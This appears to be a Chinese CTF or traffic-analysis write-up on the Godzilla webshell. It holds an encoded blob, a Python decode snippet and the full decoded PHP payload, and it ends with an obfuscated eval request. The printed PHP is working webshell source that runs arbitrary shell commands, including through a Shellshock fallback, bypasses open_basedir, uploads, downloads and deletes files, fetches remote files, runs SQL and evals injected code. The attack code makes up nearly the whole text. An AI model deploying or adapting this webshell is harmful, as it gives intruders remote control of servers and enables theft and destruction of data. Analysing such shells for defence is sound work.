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'


p1 = base64.b64decode(p)
res = decode(p1,key.encode())
f = open('res.php','wb')
f.write(res)
f.close()

得到res.php

$parameters=array();
$_SES=array();
function run($pms){
    reDefSystemFunc();
    $_SES=&getSession();
    @session_start();
    $sessioId=md5(session_id());
    if (isset($_SESSION[$sessioId])){
        $_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
    }
    @session_write_close();

    if (canCallGzipDecode()==1&&@isGzipStream($pms)){
        $pms=gzdecode($pms);
    }
    formatParameter($pms);

    if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    $result=evalFunc();

    if ($_SES!==null){
        session_start();
        $_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
        @session_write_close();
    }

    if (canCallGzipEncode()){
        $result=gzencode($result,6);
    }

    return $result;
}
function S1MiwYYr($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[($i+1)%15];
    }
    return $D;
}
function reDefSystemFunc(){
    if (!function_exists("file_get_contents")) {
        function file_get_contents($file) {
            $f = @fopen($file,"rb");
            $contents = false;
            if ($f) {
                do { $contents .= fgets($f); } while (!feof($f));
            }
            fclose($f);
            return $contents;
        }
    }
    if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
        function gzdecode($data)
        {
            return gzinflate(substr($data,10,-8));
        }
    }
}
function &getSession(){
    global $_SES;
    return $_SES;
}
function bypass_open_basedir(){
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    $allFiles = @scandir($_FILENAME);
    $cdStatus=false;
    if ($allFiles!=null){
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                if (@is_dir($fileName)){
                    if (@chdir($fileName)===true){
                        $cdStatus=true;
                        break;
                    }
                }
            }

        }
    }
    if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
        @mkdir('bypass_open_basedir');
    }
    if (!$cdStatus){
        @chdir('bypass_open_basedir');
    }
    @ini_set('open_basedir','..');
    @$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    @$_path = str_replace("\\",'/',$_FILENAME);
    @$_num = substr_count($_path,'/') + 1;
    $_i = 0;
    while($_i < $_num){
        @chdir('..');
        $_i++;
    }
    @ini_set('open_basedir','/');
    if (!$cdStatus){
        @rmdir($_FILENAME.'/'.'bypass_open_basedir');
    }
}
function formatParameter($pms){
    global $parameters;
    $index=0;
    $key=null;
    while (true){
        $q=$pms[$index];
        if (ord($q)==0x02){
            $len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
            $index+=4;
            $value=substr($pms,$index+1,$len);
            $index+=$len;
            $parameters[$key]=$value;
            $key=null;
        }else{
            $key.=$q;
        }
        $index++;
        if ($index>strlen($pms)-1){
            break;
        }
    }
}
function evalFunc(){
    try{
        @session_write_close();
        $className=get("codeName");
        $methodName=get("methodName");
        $_SES=&getSession();
        if ($methodName!=null){
            if (strlen(trim($className))>0){
                if ($methodName=="includeCode"){
                    return includeCode();
                }else{
                    if (isset($_SES[$className])){
                        return eval($_SES[$className]);
                    }else{
                        return "{$className} no load";
                    }
                }
            }else{
                if (function_exists($methodName)){
                    return $methodName();
                }else{
                    return "function {$methodName} not exist";
                }
            }
        }else{
            return "methodName Is Null";
        }
    }catch (Exception $e){
        return "ERROR://".$e -> getMessage();
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function setFileAttr(){
    $type = get("type");
    $attr = get("attr");
    $fileName = get("fileName");
    $ret = "Null";
    if ($type!=null&&$attr!=null&&$fileName!=null) {
        if ($type=="fileBasicAttr"){
            if (@chmod($fileName,convertFilePermissions($attr))){
                return "ok";
            }else{
                return "fail";
            }
        }else if ($type=="fileTimeAttr"){
            if (@touch($fileName,$attr)){
                return "ok";
            }else{
                return "fail";
            }
        }else{
            return "no ExcuteType";
        }
    }else{
        $ret="type or attr or fileName is null";
    }
    return $ret;
}
function fileRemoteDown(){
    $url=get("url");
    $saveFile=get("saveFile");
    if ($url!=null&&$saveFile!=null) {
        $data=@file_get_contents($url);
        if ($data!==false){
            if (@file_put_contents($saveFile,$data)!==false){
                @chmod($saveFile,0777);
                return "ok";
            }else{
                return "write fail";
            }
        }else{
            return "read fail";
        }
    }else{
        return "url or saveFile is null";
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
    $data = array();
    $data['OsInfo'] = @php_uname();
    $data['CurrentUser'] = @get_current_user();
    $data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
    $data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
    $data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
    $data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
    $data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
    $data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['disable_functions'] = @ini_get('disable_functions');
    $data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
    $data['Open_basedir'] = @ini_get('open_basedir');
    $data['timezone'] = @ini_get('date.timezone');
    $data['encode'] = @ini_get('exif.encode_unicode');
    $data['extension_dir'] = @ini_get('extension_dir');
    $data['sys_get_temp_dir'] = @sys_get_temp_dir();
    $data['include_path'] = @ini_get('include_path');
    $data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
    $data['PHP_SAPI'] = PHP_SAPI;
    $data['PHP_VERSION'] = PHP_VERSION;
    $data['PHP_INT_SIZE'] = PHP_INT_SIZE;
    $data['canCallGzipDecode'] = canCallGzipDecode();
    $data['canCallGzipEncode'] = canCallGzipEncode();
    $data['session_name'] = @ini_get("session.name");
    $data['session_save_path'] = @ini_get("session.save_path");
    $data['session_save_handler'] = @ini_get("session.save_handler");
    $data['session_serialize_handler'] = @ini_get("session.serialize_handler");
    $data['user_ini_filename'] = @ini_get("user_ini.filename");
    $data['memory_limit'] = @ini_get('memory_limit');
    $data['upload_max_filesize'] = @ini_get('upload_max_filesize');
    $data['post_max_size'] = @ini_get('post_max_size');
    $data['max_execution_time'] = @ini_get('max_execution_time');
    $data['max_input_time'] = @ini_get('max_input_time');
    $data['default_socket_timeout'] = @ini_get('default_socket_timeout');
    $data['mygid'] = @getmygid();
    $data['mypid'] = @getmypid();
    $data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
    $data['short_open_tag'] = @get_cfg_var('short_open_tag');
    $data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
    $data['asp_tags'] = @get_cfg_var('asp_tags');
    $data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
    $data['safe_mode'] = @get_cfg_var('safe_mode');
    $data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
    $data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
    $SCRIPT_FILENAME=@dirname($_SERVER['SCRIPT_FILENAME']);
    $data['FileRoot'] = '';
    if (substr($SCRIPT_FILENAME, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
    $data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
    $data['FileRoot']= substr_count($data['FileRoot'],substr($SCRIPT_FILENAME, 0, 1))<=0?substr($SCRIPT_FILENAME, 0, 1).":/":$data['FileRoot'];
    $result="";
    foreach($data as $key=>$value){
        $result.=$key." : ".$value."\n";
    }
    return $result;
}
function getFile(){
    $dir=get('dirName');
    $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
    $dir.="/";
    $path=$dir;
    $allFiles = @scandir($path);
    $data="";
    if ($allFiles!=null){
        $data.="ok";
        $data.="\n";
        $data.=$path;
        $data.="\n";
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                $fullPath = $path.$fileName;
                $lineData=array();
                array_push($lineData,$fileName);
                array_push($lineData,@is_file($fullPath)?"1":"0");
                array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
                array_push($lineData,@filesize($fullPath));
                $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
                array_push($lineData,(strlen($fr)>0?$fr:"F"));
                $data.=(implode("\t",$lineData)."\n");
            }

        }
    }else{
        return "Path Not Found Or No Permission!";
    }
    return $data;
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (@is_readable($fileName)){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        @chmod($fileName,0777);
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}

function function_existsEx($functionName){
    $d=explode(",",@ini_get("disable_functions"));
    if(empty($d)){
        $d=array();
    }else{
        $d=array_map('trim',array_map('strtolower',$d));
    }
    return(function_exists($functionName)&&is_callable($functionName)&&!in_array($functionName,$d));
}

function execCommand(){
    @ob_start();
    $cmdLine=get("cmdLine");
    $d=__FILE__;
    $cmdLine=substr($d,0,1)=="/"?"-c \"{$cmdLine}\"":"/c \"{$cmdLine}\"";
    if(substr($d,0,1)=="/"){
        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    }else{
        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    $executeFile=substr($d,0,1)=="/"?"sh":"cmd";

    $cmdLine="{$executeFile} {$cmdLine}";
    $cmdLine=$cmdLine." 2>&1";
    $ret=0;

    if (!function_exists("runshellshock")){
        function runshellshock($d, $c) {
            if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
                if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                    $tmp = tempnam(sys_get_temp_dir(), 'as');
                    putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                    if (function_existsEx('error_log')) {
                        error_log("a", 1);
                    } else {
                        mail("a@127.0.0.1", "", "", "-bv");
                    }
                } else {
                    return False;
                }
                $output = @file_get_contents($tmp);
                @unlink($tmp);
                if ($output != "") {
                    print($output);
                    return True;
                }
            }
            return False;
        };
    }

    if(function_existsEx('system')){
        @system($cmdLine,$ret);
    }elseif(function_existsEx('passthru')){
        @passthru($cmdLine,$ret);
    }elseif(function_existsEx('shell_exec')){
        print(@shell_exec($cmdLine));
    }elseif(function_existsEx('exec')){
        @exec($cmdLine,$o,$ret);
        print(join("\n",$o));
    }elseif(function_existsEx('popen')){
        $fp=@popen($cmdLine,'r');
        while(!@feof($fp)){
            print(@fgets($fp,2048));
        }
        @pclose($fp);
    }elseif(function_existsEx('proc_open')){
        $p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while(!@feof($io[1])){
            print(@fgets($io[1],2048));
        }
        while(!@feof($io[2])){
            print(@fgets($io[2],2048));
        }
        @fclose($io[1]);
        @fclose($io[2]);
        @proc_close($p);
    }elseif(runshellshock($d, $cmdLine)) {
        print($ret);
    }elseif(substr($d,0,1)!="/" && @class_exists("COM")){
        $w=new COM('WScript.shell');
        $e=$w->exec($cmdLine);
        $so=$e->StdOut();
        print($so->ReadAll());
        $se=$e->StdErr();
        print($se->ReadAll());
    }else{
        return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock is available";
    }
    print(($ret!=0)?"ret={$ret}":"");
    $result = @ob_get_contents();
    @ob_end_clean();
    return $result;
}
function execSql(){
    $dbType=get("dbType");
    $dbHost=get("dbHost");
    $dbPort=get("dbPort");
    $username=get("dbUsername");
    $password=get("dbPassword");
    $execType=get("execType");
    $execSql=get("execSql");
    function  mysql_exec($host,$port,$username,$password,$execType,$sql){
        // 创建连接
        $conn = new mysqli($host,$username,$password,"",$port);
        // Check connection
        if ($conn->connect_error) {
            return $conn->connect_error;
        }

        $result = $conn->query($sql);
        if ($conn->error){
            return $conn->error;
        }
        $result = $conn->query($sql);
        if ($execType=="update"){
            return "Query OK, "+$conn->affected_rows+" rows affected";
        }else{
            $data="ok\n";
            while ($column = $result->fetch_field()){
                $data.=base64_encode($column->name)."\t";
            }
            $data.="\n";
            if ($result->num_rows > 0) {
                // 输出数据
                while($row = $result->fetch_assoc()) {
                    foreach ($row as $value){
                        $data.=base64_encode($value)."\t";
                    }
                    $data.="\n";
                }
            }
            return $data;
        }
    }
    function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
        try {
            $conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);

            // 设置 PDO 错误模式为异常
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            if ($execType=="update"){
                return "Query OK, "+$conn->exec($sql)+" rows affected";
            }else{
                $data="ok\n";
                $stm=$conn->prepare($sql);
                $stm->execute();
                $row=$stm->fetch(PDO::FETCH_ASSOC);
                $_row="\n";
                foreach (array_keys($row) as $key){
                    $data.=base64_encode($key)."\t";
                    $_row.=base64_encode($row[$key])."\t";
                }
                $data.=$_row."\n";
                while ($row=$stm->fetch(PDO::FETCH_ASSOC)){
                    foreach (array_keys($row) as $key){
                        $data.=base64_encode($row[$key])."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }

        }
        catch(PDOException $e)
        {
            return $e->getMessage();
        }
    }
    if ($dbType=="mysql"){
        if (extension_loaded("mysqli")){
            return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else if (extension_loaded("pdo")){
            return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else{
            return "no extension";
        }
    }else if (extension_loaded("pdo")){
        return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
    }else{
        return "no extension";
    }
    return "no extension";

}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function getAllParameters(){
    global $parameters;
    return $parameters;
}
function includeCode(){
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SES=&getSession();
    $_SES[$codeName]=$classCode;
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
function convertFilePermissions($fileAttr){
    $mod=0;
    if (strpos($fileAttr,'R')!==false){
        $mod=$mod+0444;
    }
    if (strpos($fileAttr,'W')!==false){
        $mod=$mod+0222;
    }
    if (strpos($fileAttr,'X')!==false){
        $mod=$mod+0111;
    }
    return $mod;
}
function close(){
    @session_start();
    $_SES=&getSession();
    $_SES=null;
    if (@session_destroy()){
        return "ok";
    }else{
        return "fail!";
    }
}

function bigFileDownload(){
    $mode=get("mode");
    $fileName=get("fileName");
    $readByteNum=get("readByteNum");
    $position=get("position");
    if ($mode=="fileSize"){
        if (@is_readable($fileName)){
            return @filesize($fileName)."";
        }else{
            return "not read";
        }
    }elseif ($mode=="read"){

        if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
            $handle=fopen($fileName,"ab+");
            fseek($handle,$position);
            $data=fread($handle,$readByteNum);
            @fclose($handle);
            if ($data!==false){
                return $data;
            }else{
                return "cannot read file";
            }
        }else if (function_existsEx("file_get_contents")){
            return file_get_contents($fileName,false,null,$position,$readByteNum);
        }else{
            return "no function";
        }

    }else{
        return "no mode";
    }
}

function bigFileUpload(){
    $fileName=get("fileName");
    $fileContents=get("fileContents");
    $position=get("position");
    if(function_existsEx("fopen")&&function_existsEx("fwrite")&&function_existsEx("fseek")){
        $handle=fopen($fileName,"ab+");
        if ($handle!==false){
            fseek($handle,$position);
            $len=fwrite($handle,$fileContents);
            if ($len!==false){
                return "ok";
            }else{
                return "cannot write file";
            }
            @fclose($handle);
        }else{
            return "cannot open file";
        }
    }else if (function_existsEx("file_put_contents")){
        if (file_put_contents($fileName,$fileContents,FILE_APPEND)!==false){
            return "ok";
        }else{
            return "writer fail";
        }
    }else{
        return "no function";
    }
}
function canCallGzipEncode(){
    if (function_existsEx("gzencode")){
        return "1";
    }else{
        return "0";
    }
}
function canCallGzipDecode(){
    if (function_existsEx("gzdecode")){
        return "1";
    }else{
        return "0";
    }
}
function bytesToInteger($bytes, $position) {
    $val = 0;
    $val = $bytes[$position + 3] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position + 2] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position + 1] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position] & 0xff;
    return $val;
}
function isGzipStream($bin){
    if (strlen($bin)>=2){
        $bin=substr($bin,0,2);
        $strInfo = @unpack("C2chars", $bin);
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
        switch ($typeCode) {
            case 31139:
                return true;
                break;
            default:
                return false;
        }
    }else{
        return false;
    }
}
function getBytes($string) {
    $bytes = array();
    for($i = 0; $i < strlen($string); $i++){
        array_push($bytes,ord($string[$i]));
    }
    return $bytes;
}

然后分析第一段的php我们可以知道哥斯拉是不落地木马,其变量都保存在内存进程中,然后每次都会用gzencode也就是gzip压缩,使用的php的方法所以我们只能用php的方法来解,我们继续分析后面的流量,最后一个流量是

pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIg